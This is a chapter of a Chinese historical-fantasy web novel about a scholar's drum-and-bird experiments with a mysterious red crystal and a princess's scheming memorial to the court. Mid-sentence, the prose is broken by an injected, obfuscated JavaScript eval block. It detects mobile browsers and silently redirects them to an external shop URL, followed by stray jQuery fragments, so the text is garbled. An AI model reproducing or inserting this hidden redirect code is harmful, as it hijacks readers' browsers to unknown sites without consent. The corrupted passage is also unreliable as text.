34.更古老的语言

作品:《西行

    进了屋,赵元贞也戴上面罩,透过玻璃框子看着十几只笼中鸟跟着李在宥的鼓点上下扑腾,心里十分欣慰。


    且不论研究有没有成效,就看李在宥这个发癫的样子,就知道是云昭阁真传人没跑了。为了格物致知,可以完全不顾及个人形象。


    “喂,没疯的话理我一下!”隔着面罩听不清声音,李在宥没注意到赵元贞的来到,于是赵元贞提高了音调喊他。


    “呀,你来啦!”李在宥也隔着罩子大声说:“第二卷在桌子上,还没写完你可以先看!我收拾一下跟你说话!”


    赵元贞应了一声好,拿起桌上的纸页,第一句就让她眼睛一亮。


    “音韵是比语言更古老的生灵交流方式。”


    李在宥没来得及正式成篇,但是透过他零零散散记着的各种想法。能看出来他对于光明血的理解走到了很深的程度,已经不再囿于表面的一些现象。


    他记录了第一次去易州夜里见到赤焰军的场景,在鼓点那里画了几个圈。赵元贞耳畔听得他跳大神的鼓点,和他记录的那夜的鼓谱如出一辙。


    看来,李在宥是在尝试复刻红色晶盐除了服用带来的异常之外的其他可能特质。不过看结论,有点可惜,鸟雀们确实对某种特定的音律和震动更为敏感,但是做不到赤焰军整齐划一的能力,击鼓之人也不能控制实验品的动作。


    再联系到他和小魏一起去大墓里那段回忆,赵元贞掂量着案台盒子里的放的几颗实验用丹,小声喃喃着:“既然红色晶体不被人体所吸收,化成丹药服用的意义在哪里呢?”


    烤制吸入也能产生幻觉,听到音律也能够做出反应,到最后疯法也各不一样,这其中却找不到太多联系……


    李在宥熄了火焰,小心收拾了粉末,又敞开窗户透了半天气,拿手在赵元贞眼前晃晃,示意她可以把面罩取下来了。


    “子非鱼……”他感叹一句,说:“有点遗憾,除非我自己磕一口,否则应该是很难还原整个作用过程了。”


    “已经很好了,”赵元贞说。李在宥的研究速度大大超出她的预料,还没到清明,他就已经超出了师父辈们记载的详细程度。


    “你先说说,你第一卷里写的‘无声胜有声’,是什么意思?”她问。


    “当时马车里听见小豆饼哼歌,无意中起的念头。”李在宥说:“我们听得懂契丹语,觉得她唱得好听,魏无功听不懂,却也能觉得好听。”


    赵元贞若有所思点点头。音韵相比语言,虽然传递的信息更为模糊,但同时也更为广泛。


    不同的族群,不同的地域,语言也许无法互相理解,但是对于音律,或许能够有类似的反应——听见雷声惊恐、听见泉水叮咚愉悦……诸如此类。


    “赤焰军敲鼓的时候我忍不住琢磨,他们到底是为了威慑、调整动作还是唤醒某种集体意识或者情绪。


    我觉得,我们离赤焰军中间,可能缺了一个关键的媒介。


    我尚不知道张定钧用了什么具体的方法,但是,不知道为什么,那天夜里,听到鼓点,我有一种内心深处的情绪被悄然唤醒的感觉,那种情绪感觉既属于我,却又走了很远,飘渺无极——


    “——你说,会不会光明血有着更遥远的过去,它出现的时间和诞生的源头比我们已知得更为古老,启动它力量的方式也更为原始,一直延伸到还没有语言的时代……”


    赵元贞安静地听他完,半天没说话。


    李在宥小心翼翼地观察了一会儿她的表情,看不出来是高兴还是不高兴。又接着反思了一圈自己的思考论证过程,心里多少有点儿虚。


    他一紧张就容易想说话,这时候,赵元贞突然“嘿嘿”一笑,桌子一拍,说:“行了,我答应了!”


    李在宥瞪着眼睛看她,反应了两秒才明白过来她是说的魏无功进云昭阁的事儿。


    “真哒!”李在宥很是惊喜。虽然他的研究成果没有一个落在地上,但是赵元贞似乎十分满意。


    “嗯呐,我向来说话算话。”赵元贞揉了一把他的脑袋:“你黑眼圈都出来了,走,跟我出去走走晒晒太阳,别卯劲过头了。”


    李在宥欢欢喜喜锁了门跟她出去。他伸了个懒腰,看阳光打在宫墙,衬得年久失修的斑驳纤毫毕现,更显衰败。这里曾经是他最讨厌的地方,然而那些过去很在意的人和事儿随着时间的推移,已经在记忆里模糊,那些过不去的坎儿也一个个都过去了,甚至有些即使使劲回忆也记不起来。


    他看着墙角那棵两人合抱的老树,想起很多年前,他躲在树上哭,赵元贞仰着头对他说:“不高兴就去念


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182035|195775||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书吧,心中有了丘壑,天地便宽广了。”


    现在想想,幸亏信了。


    他看着赵元贞阳光下的背影,脑袋上的金钗流苏摇晃,一闪一闪的,心想当初从这里出去时,还够不着她的腰,现在……


    赵元贞走着走着,突然被人熊一样搂着肩膀蹭,笑他:“多大的人了还撒娇。”


    “比你小就行了,”李在宥趴在她身上问:“那我们现在该怎么办呢?”


    赵元贞反手搓了搓他的脸,说:“比起想办法让张定钧把秘密吐出来,我们还是先把自己的脚捡干净吧。”


    李在宥在小房子埋头研究月余,两耳不闻窗外事,还不晓得外面的变化。探子回报,金人已经不打算和枢密院再谈,正规划着两只大军沿东、西两路南进,围夹东京。


    庙堂未战先怯,两封折子已经递了上去。面对金人“擅自接纳叛将”的诘问,一个折子写着杀了张定钧,将人头送给金人,争取时间;另一个,写着干脆连沈仓一起杀了,既然是沈仓“私自做主”单边接受降将,那自然要一并处罚,以示诚意。


    官家在两个方案中游移不定,征询意见的文书到了云昭阁,赵元贞在选“一”还是选“二”中间,大笔一挥,填了个新方案:


    “元贞以为,若朝廷径直诛杀张定钧献首,属于自认其过,且军中其他降将亦将人人自危,日后取胜也无后来者敢归降。若并戮沈仓,显得自损股肱,畏敌如虎,气势上亦不可取。


    今有一计,或可两全:不如先设计让沈仓杀了张定钧,以其首级暂缓金师。事后,若金人仍然执意来犯,朝廷再以‘专擅招降’和‘擅杀大将’两件罪状并于沈仓一身,将其诛杀,重缓战事。如此,则金人之愤得泄,朝廷之体得全,两全其美,伏乞圣鉴。”


    她写完,前前后后检查了几遍,考虑十分周全,情绪也妥帖,顺带把三个月在敢战营和沈仓的交情撇得干干净净,不留把柄。只求老天保佑,她这挖空心思的措辞,能言中官家的心思。


    无人的宫墙角,赵元贞和李在宥一番合计。日头西斜,总算是等到了下人回报的好消息,赵元贞的方案通过了。


    告别公主出了宫门,李在宥望着天边残阳如血,轻轻叹了口气,提上捉生用的颜料水彩,牵了匹马去郊外的藩军营找梁阿兰去了。